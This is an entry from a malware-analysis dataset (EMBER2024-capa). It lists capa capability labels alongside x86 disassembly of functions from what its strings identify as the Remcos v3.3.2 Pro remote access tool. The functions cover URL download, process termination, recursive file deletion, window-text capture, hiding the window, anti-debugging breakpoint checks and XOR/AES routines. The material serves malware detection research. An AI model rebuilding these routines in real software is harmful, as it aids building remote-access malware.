joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417382
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov edi, edx
push ecx
lea ecx, [ebp + 8]
call fcn.004175c8
cmp eax, 0xffffffff
jne 0x4173c3
lea ecx, [ebp + 8]
call fcn.00401edd
push eax
mov dl, 0x30
lea ecx, [ebp - 0x18]
call fcn.00418a4b
pop ecx
push eax
lea ecx, [ebp + 8]
call fcn.00401eec
lea ecx, [ebp - 0x18]
call fcn.00401ee2
mov ecx, edi
call fcn.0040247b
lea ecx, [ebp + 8]
test eax, eax
je 0x4174b0
call fcn.00401edd
sub esp, 0x18
mov esi, eax
mov ecx, esp
push edi
call fcn.004020de
mov ecx, esi
call fcn.0041843e
add esp, 0x18
push str._alias_audio
mov edx, ebx
lea ecx, [ebp - 0x78]
call fcn.00417cca
push eax
lea eax, [ebp + 8]
mov edx, str.open__
push str.__type
push eax
lea ecx, [ebp - 0x60]
call fcn.00409e9e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00403022
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403098
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x78]
call fcn.00401ee2
xor ebx, ebx
lea ecx, [ebp - 0x30]
push ebx
push ebx
push ebx
call fcn.00401edd
push eax
call dword [sym.imp.WINMM.dll_mciSendStringW]
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
push ebx
push ebx
push ebx
push str.play_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x460734
call fcn.00402076
push 0xa9
mov ecx, 0x46eb60
call fcn.00404bb7
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x46de9c], eax
jmp 0x417577
call fcn.00401edd
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4173f1
sub esp, 0x18
mov ecx, esp
push 0x460734
call fcn.00402076
push 0xa8
mov ecx, 0x46eb60
call fcn.00404bb7
jmp 0x4175b9
cmp byte [0x46de9a], bl
je 0x4174ff
push ebx
push ebx
push ebx
push str.pause_audio
call esi
mov byte [0x46de9a], bl
cmp byte [0x46de99], bl
je 0x417517
push ebx
push ebx
push ebx
push str.resume_audio
call esi
mov byte [0x46de99], bl
push ebx
push 0x14
lea eax, [ebp - 0x14]
push eax
push str.status_audio_mode
call esi
lea edx, [ebp - 0x14]
mov edi, str.stopped
mov ecx, ebx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x41754a
inc ecx
cmp ecx, 8
jne 0x41752f
push dword [0x46de9c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1f4
push dword [0x46de9c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x417572
push dword [0x46de9c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x4174a6
mov eax, dword [0x46de9c]
test eax, eax
jne 0x4174e7
push ebx
push ebx
push ebx
push str.stop_audio
call esi
push ebx
push ebx
push ebx
push str.close_audio
call esi
sub esp, 0x18
mov ecx, esp
push 0x460734
call fcn.00402076
push 0xaa
mov ecx, 0x46eb60
call fcn.00404bb7
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp + 8]
call fcn.00401ee2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417b01
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x417b83
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x417b83
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x417b7a
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.0043776e
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x417b7a
push esi
push edi
push eax
call fcn.00432d80
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x417be9
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x417c11
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x418144
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x41815f
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x418179
mov eax, dword [0x466a4c]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x466a50]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4181a0
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x4181ba
mov eax, dword [0x4609b8]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41832e
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x4181ee
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x418315
lea ecx, [ebp - 0x63c]
call fcn.004180ce
test eax, eax
jne 0x4182ae
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x418239
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x41824f
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x4182cb
lea ecx, [ebp - 0x210]
call fcn.00418144
test eax, eax
je 0x418327
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x418296
mov al, byte [ebp - 1]
test al, al
jne 0x41820a
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x418330
test byte [ebp - 0x668], 1
je 0x4182e6
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x418327
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x4182fb
jmp 0x4182ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x418327
xor eax, eax
mov byte [ebp - 1], al
jmp 0x4182b1
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418337
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 4], ecx
push edi
mov edi, edx
sub eax, ebx
je 0x418361
sub eax, 1
jne 0x418359
push 4
pop eax
mov ecx, eax
jmp 0x418369
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
jmp 0x418369
push 2
mov eax, 0x40000000
pop ecx
push ebx
push 0x80
push ecx
push ebx
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x418387
xor al, al
jmp 0x4183c5
cmp dword [ebp + 0xc], 1
jne 0x4183a6
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x4183a6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x418383
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4183bc
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4183cc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4183fa
xor al, al
jmp 0x418438
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.0040244b
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.00401f87
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x41842f
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x418473
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x418499
xor eax, eax
jmp 0x4184ac
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret
Function at 0x4184af
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [esp + 0x10], ecx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x4185ac
push ebx
inc esi
lea ecx, [esp + 0x34]
push esi
call fcn.00409e21
push esi
lea ecx, [esp + 0x34]
call fcn.00401edd
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x34]
call fcn.004022fc
mov edi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x18]
push eax
call fcn.004022bf
mov esi, eax
lea ecx, [esp + 0x30]
lea eax, [esp + 0x1c]
push eax
call fcn.004022fc
push dword [edi]
lea ecx, [esp + 0x24]
push dword [esi]
push dword [eax]
call fcn.00408269
sub esp, 0xc
mov ecx, esp
push 0x466c58
call fcn.00404260
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004074b3
lea ecx, [esp + 0x54]
call fcn.00417f36
add esp, 0x30
lea ecx, [esp + 0x24]
mov edi, ebx
call fcn.004021e7
test eax, eax
je 0x41859a
mov esi, ebx
push ebx
push esi
lea ecx, [esp + 0x2c]
call fcn.00401e3b
push eax
lea ecx, [esp + 0x38]
call fcn.004080da
cmp eax, 0xffffffff
jne 0x4185bd
inc edi
lea ecx, [esp + 0x24]
movzx esi, di
call fcn.004021e7
cmp esi, eax
jb 0x41856f
lea ecx, [esp + 0x24]
call fcn.00418d57
lea ecx, [esp + 0x30]
call fcn.00401ee2
lea ecx, [ebp + 8]
call fcn.00401ee2
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x4185df
lea ecx, [esp + 0x30]
call fcn.00401edd
sub ebx, eax
movzx ecx, word [eax]
mov word [ebx + eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x4185d0
lea ecx, [esp + 0x24]
call fcn.00418d57
lea ecx, [esp + 0x30]
call fcn.00401ee2
mov bl, 1
jmp 0x4185ac
Function at 0x418900
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x4189ac
sub ecx, 1
je 0x41899e
sub ecx, 1
je 0x418990
sub ecx, 1
je 0x41895d
sub ecx, 1
jne 0x4189ee
push 1
sub esp, 0x18
mov ecx, esp
push 0x460770
call fcn.00402076
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00410ad6
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x46076c
jmp 0x4189da
push 1
sub esp, 0x18
mov ecx, esp
push 0x46686c
call fcn.00402076
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00410ad6
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x460770
jmp 0x4189da
push 1
sub esp, 0x18
mov ecx, esp
push 0x466d6c
jmp 0x418969
push 1
sub esp, 0x18
mov ecx, esp
push 0x460758
jmp 0x418969
push 1
sub esp, 0x18
mov ebx, 0x460770
mov ecx, esp
push ebx
call fcn.00402076
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.00410ad6
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402076
push str.TileWallpaper
mov edx, esi
call fcn.00410ad6
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x4199b8
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x46ebe0]
test bl, bl
mov dword [0x46e0ac], eax
pop ebx
jne 0x4199e3
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.0043855f
push eax
push 0x466e00
push str.CONOUT_
call fcn.0043cf7d
push 0xc8
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.00432d80
lea edi, [ebp - 0xc8]
add esp, 0x1c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x419a19
push 7
pop ecx
mov esi, str.___________________________n
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x419a32
mov esi, str.__Remcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x419a49
mov esi, str.3.3.2_Pro
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x419a61
push 6
pop ecx
mov esi, str._n__BreakingSecurity.net_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0xc8]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x419a7c
push 7
pop ecx
mov esi, str.___________________________n_n
lea eax, [ebp - 0xc8]
rep movsd dword es:[edi], dword [esi]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00417604
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41e518
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x41e543
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x41e543
cmp al, 0xc0
je 0x41e543
cmp al, 0xcc
je 0x41e543
add edx, 2
cmp dx, cx
jb 0x41e528
pop esi
ret

Function at 0x420f78
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edx
mov edx, dword [ebp + 0xc]
lea esi, [edi + 4]
push esi
call fcn.00420f12
mov edx, dword [ebp + 8]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x420f94
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x420fa2
pop edi
pop esi
pop ebp
ret

Function at 0x42307f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x423099
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x42308c
pop esi
pop ebp
ret

Function at 0x42309c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, ecx
or eax, edx
push esi
mov esi, dword [ebp + 8]
or eax, esi
test al, 3
jne 0x4230b9
shr esi, 2
push esi
call fcn.0042307f
pop ecx
jmp 0x4230ca
test esi, esi
je 0x4230ca
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x4230bf
pop esi
pop ebp
ret

Function at 0x4230cd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x4230f3
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x4230e2
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4230f8
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x4629b8
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x423102
cmp ecx, str.SHA256wECDSA
jl 0x4230ff
ret
Function at 0x42ae88
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
test edi, edi
je 0x42af81
cmp dword [ebp + 8], 0
mov esi, dword [ebp + 0xc]
jne 0x42aeaa
test esi, esi
jne 0x42af81
cmp edx, 3
je 0x42aee0
cmp edx, 4
je 0x42aee0
cmp edx, 5
je 0x42aee0
cmp edx, 6
je 0x42aee0
cmp edx, 7
je 0x42aee0
cmp edx, 8
je 0x42aee0
cmp edx, 0xa
je 0x42aee0
cmp edx, 0xb
je 0x42aee0
cmp edx, 0xc
je 0x42aee0
cmp edx, 0xd
jne 0x42af81
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.0042ae6b
mov dword [ebp - 4], eax
pop ecx
test eax, eax
jne 0x42af86
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x42af81
cmp esi, 0x40
ja 0x42af25
cmp dword [ebp + 8], ebx
je 0x42af4c
push esi
push dword [ebp + 8]
push ecx
call fcn.00433360
add esp, 0xc
jmp 0x42af49
mov edx, dword [ebp + 8]
mov ecx, edi
push esi
call fcn.0042fac9
pop ecx
test eax, eax
jne 0x42af86
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.0042fb9a
mov dword [ebp - 4], eax
test eax, eax
jne 0x42af86
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x42af64
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.00432d80
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x42af64
mov eax, dword [ebp - 4]
jmp 0x42af86
mov eax, 0xffffff53
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42f418
Capabilities:
Hash data using sha256

Disassembly:
mov edx, ecx
test edx, edx
jne 0x42f3cc
mov eax, 0xffffff53
ret
push edi
push 8
xor eax, eax
mov edi, edx
pop ecx
rep stosd dword es:[edi], eax
mov dword [edx], 0x6a09e667
mov dword [edx + 4], 0xbb67ae85
mov dword [edx + 8], 0x3c6ef372
mov dword [edx + 0xc], 0xa54ff53a
mov dword [edx + 0x10], 0x510e527f
mov dword [edx + 0x14], 0x9b05688c
mov dword [edx + 0x18], 0x1f83d9ab
mov dword [edx + 0x1c], 0x5be0cd19
mov dword [edx + 0x60], eax
mov dword [edx + 0x64], eax
mov dword [edx + 0x68], eax
pop edi
ret
test ecx, ecx
jne 0x42f422
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x42f3c0
Function at 0x42faed
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x42fafb
mov eax, 0xffffff53
pop esi
ret
mov eax, dword [esi + 0x60]
push ebx
push edi
lea edi, [esi + 0x20]
mov byte [edi + eax], 0x80
inc dword [esi + 0x60]
mov ecx, dword [esi + 0x60]
push 0x38
pop ebx
cmp ecx, ebx
jbe 0x42fb48
push 0x40
pop eax
sub eax, ecx
push eax
lea eax, [ecx + edi]
push 0
push eax
call fcn.00432d80
push 0x40
pop eax
push eax
mov edx, edi
mov dword [esi + 0x60], eax
mov ecx, edi
call fcn.0042f393
add esp, 0x10
mov edx, edi
mov ecx, esi
call fcn.0042f42a
test eax, eax
jne 0x42fb96
and dword [esi + 0x60], eax
mov eax, dword [esi + 0x60]
sub ebx, eax
push ebx
add eax, edi
push 0
push eax
call fcn.00432d80
mov ecx, dword [esi + 0x64]
mov edx, edi
mov eax, dword [esi + 0x68]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, edi
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x64]
shl eax, 3
mov dword [esi + 0x64], eax
call fcn.0042f393
mov eax, dword [esi + 0x68]
add esp, 0x10
mov dword [edi + 0x38], eax
mov edx, edi
mov eax, dword [esi + 0x64]
mov ecx, esi
mov dword [edi + 0x3c], eax
pop edi
pop ebx
pop esi
jmp fcn.0042f42a
pop edi
pop ebx
pop esi
ret

Function at 0x42fb9a
Capabilities:
Hash data using sha256

Disassembly:
push ebx
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x42fbcf
test edi, edi
je 0x42fbcf
call fcn.0042faed
test eax, eax
jne 0x42fbd4
push esi
push 0x20
mov edx, ebx
mov ecx, ebx
call fcn.0042f393
pop ecx
push 8
pop ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
mov ecx, ebx
pop ebx
jmp 0x42f3c0
mov eax, 0xffffff53
pop edi
pop ebx
ret

Function at 0x42fc89
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
mov esi, ecx
neg eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
test esi, esi
je 0x42fd26
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x42fd26
mov edx, dword [esi]
mov ecx, ebx
inc edx
call fcn.0042b5d6
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x42fd2b
xor edx, edx
push edi
cmp dword [esi], edx
jle 0x42fceb
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.0042fc73
mov ecx, ebx
mov esi, eax
call fcn.0042fc73
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [esi]
jl 0x42fcc4
jmp 0x42fd11
mov ecx, dword [ebp - 4]
jmp 0x42fd11
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.0042fc73
mov ecx, ebx
mov esi, eax
call fcn.0042fc73
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [ebx]
jl 0x42fcf0
mov eax, dword [ebp - 8]
pop edi
mov eax, dword [eax]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [ebp - 0xc]
jmp 0x42fd2b
mov eax, 0xffffff53
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x445ce3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00445b62

Function at 0x448f8f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004488fd